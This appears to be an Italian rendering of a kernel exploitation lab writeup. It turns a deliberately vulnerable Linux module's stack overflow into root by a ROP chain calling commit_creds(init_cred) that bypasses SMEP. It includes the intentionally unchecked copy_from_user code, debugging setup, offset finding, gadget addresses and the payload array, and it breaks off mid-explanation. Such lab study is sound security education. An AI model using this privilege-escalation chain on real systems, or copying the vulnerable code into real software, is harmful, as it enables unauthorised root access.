Linux Kernel 6.17 Stack Overflow - Bypass di SMEP tramite kROP (Writeup in turco)
Autore: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass
In questo writeup viene analizzato come sfruttare una vulnerabilità di kernel stack overflow su Linux kernel 6.17.0-5-generic con SMEP e SMAP attivi. Il classico metodo ret2user risulta inefficace contro questa protezione. In alternativa viene utilizzata una catena Kernel ROP (kROP).
Le altre protezioni (KASLR, KPTI, shadow stack, stack canary) sono state disabilitate in questo ambiente; il punto focale è esclusivamente la tecnica di bypass di SMEP.
SMEP (Supervisor Mode Execution Prevention) è una protezione a livello di processore. Il kernel non può eseguire codice presente nelle pagine di memoria appartenenti allo spazio utente. In altre parole, quando scrivete uno shellcode nel buffer utente e reindirizzate il kernel verso di esso, la CPU vi interrompe immediatamente.
Questo è il motivo per cui il classico ret2user muore.
Potete verificare da GDB che SMEP e SMAP siano attivi:
info register cr4
Se il valore è 0x372ef0, convertitelo in binario ed esaminate i bit:
0x372ef0 → 0011 0111 0010 1110 1111 0000
Da destra a sinistra, partendo dall'indice 0:
| Gruppo di bit | Intervallo | Significato |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 impostato → SMEP attivo. La CPU blocca l'esecuzione di codice nelle pagine Ring 3 da Ring 0.
Una nota: a partire dal kernel 5.16 il registro CR4 è stato "bloccato". In passato era possibile cancellare il bit SMEP con gadget del tipo mov cr4, rax. Ora quella porta è chiusa. Ma questo non è importante perché non toccheremo mai CR4.
vmlinuz deve essere copiato dal guest all'host. Dopo averlo copiato, convertitelo in vmlinux_raw:
./extract-vmlinux vmlinuz > vmlinux_raw
Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
La riga GRUB nel guest:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
Comando di avvio di QEMU:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
Avviare GDB sull'host durante il boot del sistema:
gdb ./vmlinux_raw
# ardından: continue
Origine: rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
Il buffer è fisso a 64 byte. _copy_from_user non verifica mai quanti byte copiare. È sufficiente inviare anche solo 65 byte dallo spazio utente; lo stack del kernel inizia a corrompersi.
Punto di ingresso dell'exploit: /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
Poi copiare rop.ko sull'host (sono necessarie le informazioni sui simboli per GDB).
Convenzione di chiamata x64: il primo argomento è RDI, il secondo RSI, il terzo RDX, il quarto RCX.
Quando viene chiamato device_write, l'indirizzo di ritorno si trova sullo stack del kernel nella posizione rbp+8. Il nostro obiettivo è prendere il controllo di questo indirizzo.
L'LKM è stato compilato con i simboli di debug, quindi lo seguiremo correttamente con GDB.
Nel guest, esaminate gli indirizzi dei moduli:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
Premere Ctrl+C sul GDB sull'host, caricare i simboli:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
Breakpoint prima e dopo _copy_from_user:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Crea un pattern di 88 byte con Metasploit:
msf-pattern_create -l 88
Salva il pattern come payload.txt, invialo con find_offset:
gcc -o find_offset find_offset.c
./find_offset payload.txt
Si fermerà al breakpoint del kernel. In GDB, annotare il contenuto di rbp+8. Al secondo breakpoint vedrete che rbp+8 è riempito con il pattern.
Calcolate l'offset sull'host:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
L'indirizzo di ritorno viene scritto a partire dal byte 72.
Perché ROP riesce a bypassare SMEP? Perché ROP utilizza codice già esistente nella regione .text del kernel stesso. Non esegue nuovo codice. Non tocca affatto la memoria utente. SMEP non può vederlo.
Salva i registri dello spazio utente prima di iretq:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" critica clobber: se GCC memorizza nella cache questi valori, il frame iretq risulterà corrotto.
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
Perché manca prepare_kernel_cred?
Nel kernel 6.17 non è stato trovato un gadget di trasferimento di registro pulito come mov rdi, rax ; ret. init_cred è già un indirizzo statico, pop rdi; ret è sufficiente. Anche il payload rimane piccolo: 144 byte.
Indirizzi dei gadget:
commit_creds e init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → opcode \x5f\xc3
Intervallo .text:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
Il primo risultato 0xffffffff812582bd → verificare in GDB con x/3i 0xffffffff812582bd. Array pulito pop rdi; ret.
swapgs + iretq → opcode: 0x0F 0x01 0xF8 e 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
Lo script restituisce due candidati. 0xffffffff81001866 contiene troppi pop, lo stack si corrompe. Esaminare 0xffffffff8100118f:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241
Dove salta: